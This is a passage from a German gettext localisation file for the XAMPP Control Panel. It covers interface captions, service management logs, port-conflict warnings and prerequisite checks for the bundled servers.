fHelp..lblSecondProg..Caption #: uHelp.dfm:47 msgid "Enhanced by hackattack142" msgstr "Erweitert von hackattack142" #. fHelp..lblHelpEng..Caption #: uHelp.dfm:64 msgid "Need Help? Visit the XAMPP forums (English):" msgstr "Brauchst du Hilfe? Besuche die XAMPP Foren (englisch):" #. fHelp..lblHelpGer..Caption #: uHelp.dfm:81 msgid "Need Help? Visit the XAMPP forums (German):" msgstr "Brauchst du Hilfe? Besuche die XAMPP Foren (deutsch):" #. fHelp..bHelpClose..Caption #: uHelp.dfm:127 msgid "Close" msgstr "Schließen" #. fHelp..bReadMe..Caption #: uHelp.dfm:136 msgid "View ReadMe" msgstr "zeige ReadMe" #. fLanguage..Caption #: uLanguage.dfm:5 msgid "Language" msgstr "Sprache" #. fLogOptions..lblLogFont..Caption #: uLogOptions.dfm:23 msgid "Log Font" msgstr "Schriftart" #. fLogOptions..lblLogFontSize..Caption #: uLogOptions.dfm:36 msgid "Log Font Size" msgstr "Schriftgröße" #. fLogOptions..bSelect..Caption #: uLogOptions.dfm:63 msgid "Select Font" msgstr "Schrift auswählen" #. fMain..Caption #. fMain..lHeader..Caption #: uMain.dfm:4 uMain.dfm:1011 msgid "XAMPP Control Panel v" msgstr "XAMPP Control Panel v" #. fMain..bSCM..Caption #: uMain.dfm:1095 msgid "Services" msgstr "Dienste" #. fMain..gbModules..Caption #: uMain.dfm:1141 msgid " Modules " msgstr " Module " #. fMain..gbModules..lPIDs..Caption #: uMain.dfm:1159 msgid "PID(s)" msgstr "PID(s)" #. fMain..gbModules..lPorts..Caption #: uMain.dfm:1177 msgid "Port(s)" msgstr "Port(s)" #. fMain..gbModules..lServices..Caption #: uMain.dfm:1303 msgid "Service" msgstr "Dienst" #. fMain..gbModules..lModules..Caption #: uMain.dfm:1321 msgid "Module" msgstr "Modul" #. fMain..gbModules..lActions..Caption #: uMain.dfm:1338 msgid "Actions" msgstr "Aktionen" #. fMain..gbModules..bApacheAction..Caption #. fMain..gbModules..bMySQLAction..Caption #. fMain..gbModules..bFileZillaAction..Caption #. fMain..gbModules..bMercuryAction..Caption #. fMain..gbModules..bTomcatAction..Caption #. fMain..puSystray..ApacheTray..ApacheTrayControl..Caption #. fMain..puSystray..MySQLTray..MySQLTrayControl..Caption #. fMain..puSystray..FileZillaTray..FileZillaTrayControl..Caption #. fMain..puSystray..MercuryTray..MercuryTrayControl..Caption #. fMain..puSystray..TomcatTray..TomcatTrayControl..Caption #: uMain.dfm:1382 uMain.dfm:1408 uMain.dfm:1434 uMain.dfm:1460 uMain.dfm:1691 #: uMain.dfm:3015 uMain.dfm:3023 uMain.dfm:3031 uMain.dfm:3039 uMain.dfm:3047 #: uApache.pas:451 uApache.pas:454 uFileZilla.pas:417 uFileZilla.pas:420 #: uMercury.pas:339 uMercury.pas:342 uMySQL.pas:422 uMySQL.pas:425 #: uTomcat.pas:444 uTomcat.pas:447 msgid "Start" msgstr "Starten" #. fMain..gbModules..bApacheAdmin..Caption #. fMain..gbModules..bMySQLAdmin..Caption #. fMain..gbModules..bFileZillaAdmin..Caption #. fMain..gbModules..bMercuryAdmin..Caption #. fMain..gbModules..bTomcatAdmin..Caption #: uMain.dfm:1395 uMain.dfm:1421 uMain.dfm:1447 uMain.dfm:1473 uMain.dfm:1704 msgid "Admin" msgstr "Admin" #. fMain..gbModules..bMySQLService..Hint #. fMain..gbModules..bFileZillaService..Hint #. fMain..gbModules..bApacheService..Hint #. fMain..gbModules..bTomcatService..Hint #: uMain.dfm:1629 uMain.dfm:1644 uMain.dfm:1659 uMain.dfm:1753 msgid "Is installed as a Windows Service?" msgstr "Status \"als Windows Dienst installiert\": X = Nein - ✔ = Ja" #. fMain..bQuit..Caption #. fMain..puSystray..miTerminate..Caption #: uMain.dfm:1797 uMain.dfm:3055 msgid "Quit" msgstr "Beenden" #. fMain..bExplorer..Caption #: uMain.dfm:1889 msgid "Explorer" msgstr "Explorer" #. fMain..bNetstat..Caption #: uMain.dfm:1935 msgid "Netstat" msgstr "Netstat" #. fMain..bXamppShell..Caption #: uMain.dfm:1981 msgid "Shell" msgstr "Shell" #. fMain..puSystray..miShowHide..Caption #: uMain.dfm:3004 msgid "Show / Hide" msgstr "Anzeigen / Verstecken" #. fMain..puLog..LogCopy..Caption #: uMain.dfm:3744 msgid "Copy" msgstr "Kopieren" #. fMain..puLog..LogSelectAll..Caption #: uMain.dfm:3748 msgid "Select All" msgstr "Alle auswählen" #. fNetstat..Caption #: uNetstat.dfm:5 msgid "Netstat - TCP Listening sockets" msgstr "Netstat - Offene TCP Sockets" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:37 msgid "Address" msgstr "Adresse" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:42 msgid "Port" msgstr "Port" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:47 msgid "PID" msgstr "PID" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:51 msgid "Name" msgstr "Name" #. fNetstat..bRefresh..Caption #: uNetstat.dfm:81 msgid "Refresh" msgstr "Aktualisieren" #. fNetstat..pnlActiveExample..Caption #: uNetstat.dfm:107 msgid "Active socket" msgstr "Offener Socket" #. fNetstat..pnlOldExample..Caption #: uNetstat.dfm:127 msgid "Old socket" msgstr "Alter Socket" #. fNetstat..pnlNewExample..Caption #: uNetstat.dfm:147 msgid "New socket" msgstr "Neuer Socket" #. fServiceSettings..Caption #: uServiceSettings.dfm:4 msgid "Service Settings" msgstr "Diensteinstellungen" #. fServiceSettings..lMain....Caption #: uServiceSettings.dfm:29 msgid "" "Use this form to set service-specific and default port settings. You can " "set the name and default ports the XAMPP Control Panel will check. Do not " "include spaces or quotes in names. This does NOT change the ports that the " "services and programs use. You still need to change those in the services' " "configuration files." msgstr "" "Hier kannst du den Namen und die Standardports einstellen, die das Control " "Panel überprüft. Diese Einstellungen ändern NICHT die Ports, den die Dienste " "und Programme verwenden (Diese Einstellung musst du weiterhin in den " "jeweiligen Konfigurationsdaten ändern). Leer- oder Anführungszeichen in den " "Namenseinstellungen sind nicht erlaubt. " #. fServiceSettings..pcSettings..pApache..gApache..Caption #: uServiceSettings.dfm:125 msgid "Apache Settings" msgstr "Apache Einstellungen" #. fServiceSettings..pcSettings..pApache..gApache..lApacheName..Caption #. fServiceSettings..pcSettings..pMySQL..gMySQL..lMySQLName..Caption #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaName..Caption #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatName..Caption #: uServiceSettings.dfm:135 uServiceSettings.dfm:219 uServiceSettings.dfm:276 #: uServiceSettings.dfm:524 msgid "Service Name" msgstr "Dienstname" #. fServiceSettings..pcSettings..pApache..gApache..lApacheMain..Caption #. fServiceSettings..pcSettings..pMySQL..gMySQL..lMySQLMain..Caption #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaMain..Caption #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatMain..Caption #: uServiceSettings.dfm:142 uServiceSettings.dfm:212 uServiceSettings.dfm:269 #: uServiceSettings.dfm:503 msgid "Main Port" msgstr "Hauptport" #. fServiceSettings..pcSettings..pApache..gApache..lApacheSSL..Caption #: uServiceSettings.dfm:149 msgid "SSL Port" msgstr "SSL Port" #. fServiceSettings..pcSettings..pMySQL..gMySQL..Caption #: uServiceSettings.dfm:202 msgid "MySQL Settings" msgstr "MySQL Einstellungen" #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..Caption #: uServiceSettings.dfm:259 msgid "FileZilla Settings" msgstr "FileZilla Einstellungen" #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaAdmin..Caption #: uServiceSettings.dfm:283 msgid "Admin Port" msgstr "Admin Port" #. fServiceSettings..pcSettings..pMercury..gMercury..Caption #: uServiceSettings.dfm:336 msgid "Mercury Settings" msgstr "Mercury Einstellungen" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP1..Caption #: uServiceSettings.dfm:346 msgid "Port 1" msgstr "Port 1" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP2..Caption #: uServiceSettings.dfm:353 msgid "Port 2" msgstr "Port 2" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP3..Caption #: uServiceSettings.dfm:360 msgid "Port 3" msgstr "Port 3" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP4..Caption #: uServiceSettings.dfm:367 msgid "Port 4" msgstr "Port 4" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP5..Caption #: uServiceSettings.dfm:374 msgid "Port 5" msgstr "Port 5" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP6..Caption #: uServiceSettings.dfm:381 msgid "Port 6" msgstr "Port 6" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP7..Caption #: uServiceSettings.dfm:388 msgid "Port 7" msgstr "Port 7" #. fServiceSettings..pcSettings..pTomcat..gTomcat..Caption #: uServiceSettings.dfm:493 msgid "Tomcat Settings" msgstr "Tomcat Einstellungen" #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatHTTP..Caption #: uServiceSettings.dfm:510 msgid "HTTP Port" msgstr "HTTP Port" #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatAJP..Caption #: uServiceSettings.dfm:517 msgid "AJP Port" msgstr "AJP Port" #. 64 bit? dann DIESE shell starten! #: uApache.pas:54 uFileZilla.pas:220 uMySQL.pas:50 uTomcat.pas:46 #: uTomcat.pas:224 uTomcat.pas:247 uTomcat.pas:287 uTomcat.pas:329 msgid "Executing \"%s\" \"%s\"" msgstr "Führe aus: \"%s\" \"%s\"" #: uApache.pas:59 uApache.pas:240 uApache.pas:255 uApache.pas:279 #: uFileZilla.pas:43 uFileZilla.pas:239 uFileZilla.pas:250 uFileZilla.pas:269 #: uFileZilla.pas:280 uMain.pas:678 uMain.pas:687 uMain.pas:865 #: uMercury.pas:183 uMySQL.pas:55 uMySQL.pas:231 uMySQL.pas:244 uMySQL.pas:266 #: uTomcat.pas:51 uTomcat.pas:270 uTomcat.pas:312 msgid "Executing \"%s\"" msgstr "Führe aus: \"%s\"" #: uApache.pas:71 uFileZilla.pas:55 uMySQL.pas:67 uTomcat.pas:63 msgid "Service installed" msgstr "Dienst installiert" #: uApache.pas:75 uFileZilla.pas:59 uMySQL.pas:71 uTomcat.pas:67 msgid "Service not installed" msgstr "Dienst nicht installiert" #: uApache.pas:76 uFileZilla.pas:60 uMySQL.pas:72 uTomcat.pas:68 msgid "Checking for service (name=\"%s\"): %s" msgstr "Überprüfe Dienst (name=\"%s\"): %s" #: uApache.pas:80 uFileZilla.pas:64 uMySQL.pas:76 uTomcat.pas:72 msgid "Service Path: %s" msgstr "Dienst-Pfad: %s" #: uApache.pas:84 uFileZilla.pas:68 uMySQL.pas:80 uTomcat.pas:76 msgid "%s Service detected with wrong path" msgstr "%s Dienst mit falschem Pfad erkannt" #: uApache.pas:85 uFileZilla.pas:69 uMySQL.pas:81 uTomcat.pas:77 msgid "Change XAMPP %s and Control Panel settings or" msgstr "Ändere XAMPP %s und Control Panel Einstellungen oder" #: uApache.pas:86 uFileZilla.pas:70 uMySQL.pas:82 uTomcat.pas:78 msgid "Uninstall/disable the other service manually first" msgstr "Entferne/Deaktiviere den anderen Windows Dienst vorher" #: uApache.pas:87 uFileZilla.pas:71 uMySQL.pas:83 uTomcat.pas:79 msgid "Found Path: %s" msgstr "Pfad gefunden: %s" #: uApache.pas:88 msgid "Expected Path: \"%sapache\\bin\\%s\" -k runservice" msgstr "Erwarteter Pfad: \"%sapache\\bin\\%s\" -k runservice" #: uApache.pas:92 uFileZilla.pas:76 uMySQL.pas:89 uTomcat.pas:84 msgid "Service Path: Service Not Installed" msgstr "Dienst-Pfad: Dienst nicht installiert" #: uApache.pas:103 uFileZilla.pas:87 uMercury.pas:83 uMySQL.pas:99 #: uTomcat.pas:95 msgid "Initializing module..." msgstr "Initialisiere Modul..." #: uApache.pas:105 uFileZilla.pas:90 uMercury.pas:85 uMySQL.pas:101 #: uTomcat.pas:100 msgid "Checking for module existence..." msgstr "Prüfe ob Modul existiert..." #: uApache.pas:109 uFileZilla.pas:97 uMercury.pas:89 uMySQL.pas:105 #: uTomcat.pas:104 msgid "Problem detected: %s Not Found!" msgstr "Problem festgestellt: %s nicht gefunden!" #: uApache.pas:110 uFileZilla.pas:98 uMercury.pas:90 uMySQL.pas:106 #: uTomcat.pas:105 msgid "Disabling %s buttons" msgstr "Deaktiviere %s Buttons" #: uApache.pas:111 uFileZilla.pas:99 uMercury.pas:91 uMySQL.pas:107 #: uTomcat.pas:106 msgid "Run this program from your XAMPP root directory!" msgstr "Starte das Programm aus deinem XAMPP Basisverzeichnis!" #: uApache.pas:119 uFileZilla.pas:110 uMySQL.pas:115 uTomcat.pas:114 msgid "%s Service is disabled." msgstr "%s Dienst ist deaktiviert." #: uApache.pas:123 uFileZilla.pas:114 uMercury.pas:97 uMySQL.pas:119 #: uTomcat.pas:118 msgid "Checking for required tools..." msgstr "Prüfe benötigte Tools..." #: uApache.pas:153 uFileZilla.pas:144 uMercury.pas:128 uMySQL.pas:147 #: uTomcat.pas:164 msgid "Checking default ports..." msgstr "Überprüfe Standardports..." #: uApache.pas:160 uFileZilla.pas:151 uMercury.pas:135 uMySQL.pas:152 #: uTomcat.pas:171 msgid "Portblocker Detected: %s" msgstr "Port-blockierende Anwendung gefunden: %s" #: uApache.pas:161 uFileZilla.pas:152 uMercury.pas:136 uMySQL.pas:153 #: uTomcat.pas:172 msgid "Checking for App: %s" msgstr "Prüfe Anwendung: %s" #: uApache.pas:163 uFileZilla.pas:154 uMySQL.pas:155 uTomcat.pas:174 msgid "Checking for Service: %s" msgstr "Prüfe Windows Dienst von: %s" #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #. if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then #: uApache.pas:167 uFileZilla.pas:158 uMercury.pas:140 uMySQL.pas:159 #: uTomcat.pas:178 msgid "Portblocker Path: %s" msgstr "Pfad der Port-blockierenden Anwendung: %s" #: uApache.pas:168 uFileZilla.pas:159 uMercury.pas:141 uMySQL.pas:160 #: uTomcat.pas:179 msgid "Portblocker Service Path: %s" msgstr "Pfad des Port-blockierenden Dienstes: %s" #: uApache.pas:171 uFileZilla.pas:162 uMercury.pas:144 uMySQL.pas:163 #: uTomcat.pas:187 msgid "XAMPP %s is already running on port %d" msgstr "XAMPP %s ist bereits gestartet auf Port %d" #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #. else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then #: uApache.pas:176 uFileZilla.pas:167 uMySQL.pas:168 uTomcat.pas:192 msgid "XAMPP %s Service is already running on port %d" msgstr "XAMPP %s Dienst ist bereits gestartet auf Port %d" #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #. AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); #: uApache.pas:186 uFileZilla.pas:177 uMercury.pas:153 uMySQL.pas:178 #: uTomcat.pas:202 msgid "Problem detected!" msgstr "Problem festgestellt!" #: uApache.pas:187 uMercury.pas:154 msgid "Port %d in use by \"%s\" with PID %d!" msgstr "Port %d in Benutzung von \"%s\" (PID %d)!" #: uApache.pas:188 uFileZilla.pas:179 uMercury.pas:155 uMySQL.pas:180 #: uTomcat.pas:204 msgid "%s WILL NOT start without the configured ports free!" msgstr "%s wird NICHT starten, wenn die konfigurierten Ports nicht frei sind!" #: uApache.pas:189 uFileZilla.pas:180 uMercury.pas:156 uMySQL.pas:181 #: uTomcat.pas:205 msgid "You need to uninstall/disable/reconfigure the blocking application" msgstr "" "Die blockierende Anwendung muss deinstalliert/deaktiviert/rekonfiguriert " "werden oder" #: uApache.pas:190 uFileZilla.pas:181 uMercury.pas:157 uMySQL.pas:182 #: uTomcat.pas:206 msgid "or reconfigure %s and the Control Panel to listen on a different port" msgstr "%s und das Control Panel müssen auf einen anderen Port zu lauschen" #: uApache.pas:204 uFileZilla.pas:203 uMySQL.pas:195 uTomcat.pas:223 msgid "Installing service..." msgstr "Installiere Dienst..." #: uApache.pas:205 uApache.pas:221 uFileZilla.pas:198 uFileZilla.pas:201 #: uFileZilla.pas:204 msgid "Executing \"%s %s\"" msgstr "Führe aus: \"%s %s\"" #. RC := StartService(RemoveWhiteSpace(Config.ServiceNames.Apache)); #. RC := StopService(RemoveWhiteSpace(Config.ServiceNames.Apache)); #. RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); #. RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); #: uApache.pas:208 uApache.pas:224 uApache.pas:244 uApache.pas:258 #: uApache.pas:283 uFileZilla.pas:207 uFileZilla.pas:223 uFileZilla.pas:242 #: uFileZilla.pas:253 uFileZilla.pas:272 uFileZilla.pas:283 uMercury.pas:186 #: uMySQL.pas:199 uMySQL.pas:215 uMySQL.pas:234 uMySQL.pas:247 uMySQL.pas:269 #: uTomcat.pas:227 uTomcat.pas:250 uTomcat.pas:273 uTomcat.pas:292 #: uTomcat.pas:315 msgid "Return code: %d" msgstr "Rückgabecode: %d" #: uApache.pas:210 uApache.pas:226 uApache.pas:248 uApache.pas:262 #: uApache.pas:287 uFileZilla.pas:209 uFileZilla.pas:225 uFileZilla.pas:244 #: uFileZilla.pas:255 uFileZilla.pas:274 uFileZilla.pas:285 uMercury.pas:188 #: uMySQL.pas:201 uMySQL.pas:217 uMySQL.pas:237 uMySQL.pas:250 uMySQL.pas:272 #: uTomcat.pas:276 uTomcat.pas:318 msgid "There may be an error, return code: %d - %s" msgstr "Es könnte ein Fehler aufgetreten sein, Rückgabecode: %d - %s" #: uApache.pas:220 uTomcat.pas:246 msgid "Uninstalling service..." msgstr "Deinstalliere Dienst..." #: uApache.pas:238 uFileZilla.pas:237 uMySQL.pas:229 uTomcat.pas:268 msgid "Attempting to start %s service..." msgstr "Versuche %s Windows Dienst zu starten..." #: uApache.pas:253 uFileZilla.pas:249 uMercury.pas:182 uMySQL.pas:242 #: uTomcat.pas:281 msgid "Attempting to start %s app..." msgstr "Versuche %s zu starten..." #: uApache.pas:277 uFileZilla.pas:267 uMySQL.pas:264 uTomcat.pas:310 msgid "Attempting to stop %s service..." msgstr "Versuche %s Windows Dienst zu stoppen..." #: uApache.pas:297 uMercury.pas:201 uMySQL.pas:282 msgid "Attempting to stop" msgstr "stoppe Modul" #. RC := RunProcess(App, SW_HIDE, false); #: uApache.pas:303 uMercury.pas:204 uMySQL.pas:285 msgid "Problem killing PID %d" msgstr "Problem beim beenden von PID %d" #: uApache.pas:304 uMercury.pas:205 uMySQL.pas:286 msgid "Check that you have the proper privileges" msgstr "Prüfe ob ausreichende Rechte vorhanden sind" #: uApache.pas:310 uMercury.pas:211 uMySQL.pas:292 msgid "No PIDs found?!" msgstr "Keine PIDs gefunden?!" #. Change Status #: uApache.pas:409 uFileZilla.pas:384 uMercury.pas:306 uMySQL.pas:389 #: uTomcat.pas:411 msgid "running" msgstr "gestartet" #: uApache.pas:412 uFileZilla.pas:387 uMercury.pas:309 uMySQL.pas:392 #: uTomcat.pas:414 msgid "stopped" msgstr "gestoppt" #: uApache.pas:416 uFileZilla.pas:391 uMercury.pas:313 uMySQL.pas:396 #: uTomcat.pas:418 msgid "Status change detected:" msgstr "Statusänderung erkannt:" #: uApache.pas:420 uFileZilla.pas:395 uMercury.pas:317 uMySQL.pas:400 #: uTomcat.pas:422 msgid "Error: %s shutdown unexpectedly." msgstr "Fehler: %s wurde unerwartet beendet" #: uApache.pas:421 uFileZilla.pas:396 uMercury.pas:318 uMySQL.pas:401 #: uTomcat.pas:423 msgid "This may be due to a blocked port, missing dependencies, " msgstr "Ursache könnte ein geblockter Port, fehlende Abhängigkeiten," #: uApache.pas:422 uFileZilla.pas:397 uMercury.pas:319 uMySQL.pas:402 #: uTomcat.pas:424 msgid "improper privileges, a crash, or a shutdown by another method." msgstr "" "fehlende Berechtigungen, ein Absturz oder ein Abbruch einer anderen Methode " "sein." #: uApache.pas:423 uFileZilla.pas:398 uMercury.pas:320 uMySQL.pas:403 #: uTomcat.pas:425 msgid "Press the Logs button to view error logs and check" msgstr "Drücke den Logs Button um error logs zu sehen und prüfe" #: uApache.pas:424 uFileZilla.pas:399 uMercury.pas:321 uMySQL.pas:404 #: uTomcat.pas:426 msgid "the Windows Event Viewer for more clues" msgstr "im Windows Event Viewer für weitere Hinweise" #: uApache.pas:425 uFileZilla.pas:400 uMercury.pas:322 uMySQL.pas:405 #: uTomcat.pas:427 msgid "If you need more help, copy and post this" msgstr "" "Wenn du weitere Hilfe benötigst, kopiere den kompletten Inhalt des Log " "Fensters" #: uApache.pas:426 uFileZilla.pas:401 uMercury.pas:323 uMySQL.pas:406 #: uTomcat.pas:428 msgid "entire log window on the forums" msgstr "und füge ihn als Ergänzung in einem neuen Forum Eintrag hinzu." #: uApache.pas:436 uApache.pas:439 uApache.pas:444 uFileZilla.pas:409 #: uFileZilla.pas:412 uMercury.pas:331 uMercury.pas:334 uMySQL.pas:414 #: uMySQL.pas:417 uTomcat.pas:436 uTomcat.pas:439 msgid "Stop" msgstr "Stoppen" #: uApache.pas:465 uFileZilla.pas:429 uMercury.pas:351 uMySQL.pas:434 #: uTomcat.pas:456 msgid "Autostart aborted: %s is already running" msgstr "Autostart abgebrochen: %s ist bereits gestartet" #: uApache.pas:469 uFileZilla.pas:433 uMercury.pas:355 uMySQL.pas:438 #: uTomcat.pas:460 msgid "Autostart active: starting..." msgstr "Autostart aktiv: Starte..." #: uFileZilla.pas:72 msgid "Expected Path: \"%sFileZillaFTP\\%s\"" msgstr "Erwarteter Pfad: \"%sFileZillaFTP\\%s\"" #: uFileZilla.pas:93 msgid "Checking for alternate module existence..." msgstr "Prüfe auf Vorhandensein alternativer Module..." #: uFileZilla.pas:178 uMySQL.pas:179 uTomcat.pas:203 msgid "Port %d in use by \"%s\"!" msgstr "Port %d in Benutzung von \"%s\"!" #: uFileZilla.pas:197 msgid "Setting Service Name..." msgstr "Dienstname einstellen..." #: uFileZilla.pas:200 msgid "Setting Service Display Name..." msgstr "Dienst-Anzeigename einstellen..." #: uFileZilla.pas:279 msgid "Attempting to stop %s app..." msgstr "Versuche %s zu beenden..." #: uLanguage.pas:55 msgid "Restart application to apply changes!" msgstr "Die Sprachänderung wird erst nach Neustart des Control Panel aktiv!" #: uMain.pas:199 uMain.pas:302 uMain.pas:395 uMain.pas:535 msgid "" "Services cannot be installed or uninstalled while the service is running!" msgstr "" "Dienste können nicht (de-)installiert werden, solange diese ausgeführt " "werden!" #: uMain.pas:205 uMain.pas:307 uMain.pas:400 uMain.pas:540 msgid "Click Yes to uninstall the %s service" msgstr "Möchtest du %s wirklich als Dienst deinstallieren?" #: uMain.pas:216 uMain.pas:318 uMain.pas:411 uMain.pas:551 msgid "Click Yes to install the %s service" msgstr "Möchtest du %s wirklich als Dienst installieren?" #: uMain.pas:228 uMain.pas:330 uMain.pas:423 uMain.pas:563 msgid "Service was NOT (un)installed!" msgstr "Dienst wurde NICHT (de-)installiert" #. WinXP #. WinXP #. WinXP #. WinXP #: uMain.pas:231 uMain.pas:333 uMain.pas:426 uMain.pas:566 msgid "" "One possible reason for failure: On windows security box you !!!MUST " "UNCHECK!!! the \"Protect my computer and data from unauthorized program " "activity\" checkbox!!!" msgstr "" "Mögliche Fehlerursache entdeckt: In der Windows-Sicherheitsabfrage MUSS das " "Häkchen bei \"Computer und Daten vor nicht autorisierter Programmaktivität " "schützen\" ABGEWÄHLT werden!" #: uMain.pas:236 uMain.pas:338 uMain.pas:431 uMain.pas:571 msgid "Successful!" msgstr "Erfolgreich!" #: uMain.pas:263 uMain.pas:264 uMain.pas:265 uMain.pas:277 uMain.pas:278 #: uMain.pas:361 uMain.pas:371 uMain.pas:454 uMain.pas:463 uMain.pas:503 #: uMain.pas:511 uMain.pas:598 uMain.pas:607 msgid "" msgstr "" #: uMain.pas:481 msgid "Mercury cannot be run as service!" msgstr "Mercury kann nicht als Dienst ausgeführt werden!" #: uMain.pas:655 msgid "File \"%s\" not found. Should it be created now?" msgstr "Datei \"%s\" nicht gefunden. Soll die Datei jetzt erstellt werden?" #: uMain.pas:664 uTools.pas:243 uTools.pas:337 msgid "Error" msgstr "Fehler" #: uMain.pas:818 msgid "User defined" msgstr "Benutzerdefiniert" #: uMain.pas:875 uMySQL.pas:196 uMySQL.pas:212 msgid "Executing %s %s" msgstr "Führe aus: %s %s" #: uMain.pas:978 msgid "Initializing Control Panel" msgstr "Initialisere Control Panel" #: uMain.pas:995 msgid "Windows Version: %s %s %s" msgstr "Windows Version: %s %s %s" #: uMain.pas:1001 msgid "WARNING: Your Operating System is too old and is not supported" msgstr "" "WARNUNG: Dein Betriebssystem ist zu alt und wird nicht mehr unterstützt" #: uMain.pas:1018 msgid "Running with Administrator rights - good!" msgstr "Mit Administratorrechten gestartet - gut!" #: uMain.pas:1022 msgid "You are not running with administrator rights! This will work for" msgstr "" "Dein Benutzerprofil besitzt keine Administratorenrechte! Das reicht aus für " "die meisten" #: uMain.pas:1023 msgid "most application stuff but whenever you do something with services" msgstr "" "Anwendungsfunktionen, aber wann immer du etwas mit Windows-Diensten tun " "möchtest," #: uMain.pas:1024 msgid "there will be a security dialogue or things will break! So think " msgstr "" "wird eine Sicherheitsabfrage erscheinen oder etwas wird garnicht erst " "funktionieren!" #: uMain.pas:1025 msgid "about running this application with administrator rights!" msgstr "Also denke daran diese Anwendung mit Administratorrechten zu starten!" #: uMain.pas:1032 msgid "XAMPP Installation Directory: \"%s\"" msgstr "XAMPP Installationsverzeichnis: \"%s\"" #: uMain.pas:1035 msgid "" "WARNING: Your install directory contains spaces. This may break programs/" "scripts" msgstr "" "ACHTUNG: Der XAMPP Installationspfad enthält Leerzeichen. Dies könnte die " "Funktionalität von Programmen/Scripten beeinflussen" #: uMain.pas:1060 msgid "" "WARNING: Your install directory contains special characters. This may break " "programs/scripts" msgstr "" "ACHTUNG: Der XAMPP Installationspfad enthält Sonderzeichen. Dies könnte die " "Funktionalität von Programmen/Scripten beeinflussen" #: uMain.pas:1069 msgid "Checking for prerequisites" msgstr "Voraussetzungen werden geprüft" #: uMain.pas:1078 msgid "Required XAMPP prerequisite not found!" msgstr "Benötigte XAMPP Voraussetzungen nicht gefunden!" #: uMain.pas:1079 msgid "" "You do not appear to have the Microsoft Visual C++ 2008 Runtimes installed" msgstr "" "Die Microsoft Visual C++ 2008 Runtimes scheinen nicht installiert zu sein" #: uMain.pas:1080 msgid "This is required for XAMPP to fully function" msgstr "Dies ist eine Voraussetzung für die volle Funktionalität von XAMPP" #: uMain.pas:1084 msgid "All prerequisites found" msgstr "Alle Voraussetzungen sind erfüllt" #: uMain.pas:1091 msgid "VC++ checking is disabled" msgstr "VC++ Prüfung deaktiviert" #: uMain.pas:1094 msgid "Initializing Modules" msgstr "Initialisiere Module" #: uMain.pas:1101 uMain.pas:1115 uMain.pas:1129 uMain.pas:1143 uMain.pas:1156 msgid "The %s module is disabled" msgstr "Das %s Modul ist deaktiviert" #: uMain.pas:1170 uMain.pas:1178 uMain.pas:1186 uMain.pas:1194 uMain.pas:1202 msgid "Enabling autostart for module \"%s\"" msgstr "Aktiviere Autostart für Modul \"%s\"" #: uMain.pas:1206 msgid "Starting" msgstr "Starte" #: uMain.pas:1208 msgid "Control Panel Ready" msgstr "Control Panel bereit" #: uMain.pas:1213 msgid "Deinitializing Modules" msgstr "Deinitialisiere Module" #: uMain.pas:1234 msgid "Deinitializing Control Panel" msgstr "Deinitialisiere Control Panel" #: uMySQL.pas:84 msgid "Expected Path: %smysql\\bin\\%s --defaults-file=%smysql\\bin\\my.ini %s" msgstr "" "Erwarteter Pfad: %smysql\\bin\\%s --defaults-file=%smysql\\bin\\my.ini %s" #: uNetstat.pas:260 msgid "New listening socket: %s:%d" msgstr "Neuer offener Socket: %s:%d" #: uNetstat.pas:282 msgid "Listening socket closed: %s:%d" msgstr "Offener Socket geschlossen: %s:%d" #: uNetstatTable.pas:130 msgid "unknown program" msgstr "unbekanntes Programm" #: uProcesses.pas:140 uProcesses.pas:230 msgid "Deleting PID-entry %d: %s" msgstr "Lösche PID-Eintrag: %d: %s" #. ProcInfo.ExePath := LowerCase(GetProcessPath(TProcessEntry.th32ProcessID)); #: uProcesses.pas:217 msgid "Creating PID-entry %d: %s" msgstr "Erzeuge PID-Eintrag: %d: %s" #: uServices.pas:32 uServices.pas:52 msgid "Searching for service %s" msgstr "Suche Windows Dienst %s" #: uServices.pas:37 msgid "Found service, attempting to start" msgstr "Windows Dienst gefunden, wird versucht zu starten..." #: uServices.pas:43 uServices.pas:63 msgid "Return Code %d" msgstr "Rückgabecode %d" #: uServices.pas:57 msgid "Found service, attempting to stop" msgstr "Windows Dienst gefunden, wird versucht zu stoppen..." #: uTomcat.pas:80 msgid "Expected Path: %stomcat\\bin\\%s //RS//%s" msgstr "Erwarteter Pfad: %stomcat\\bin\\%s 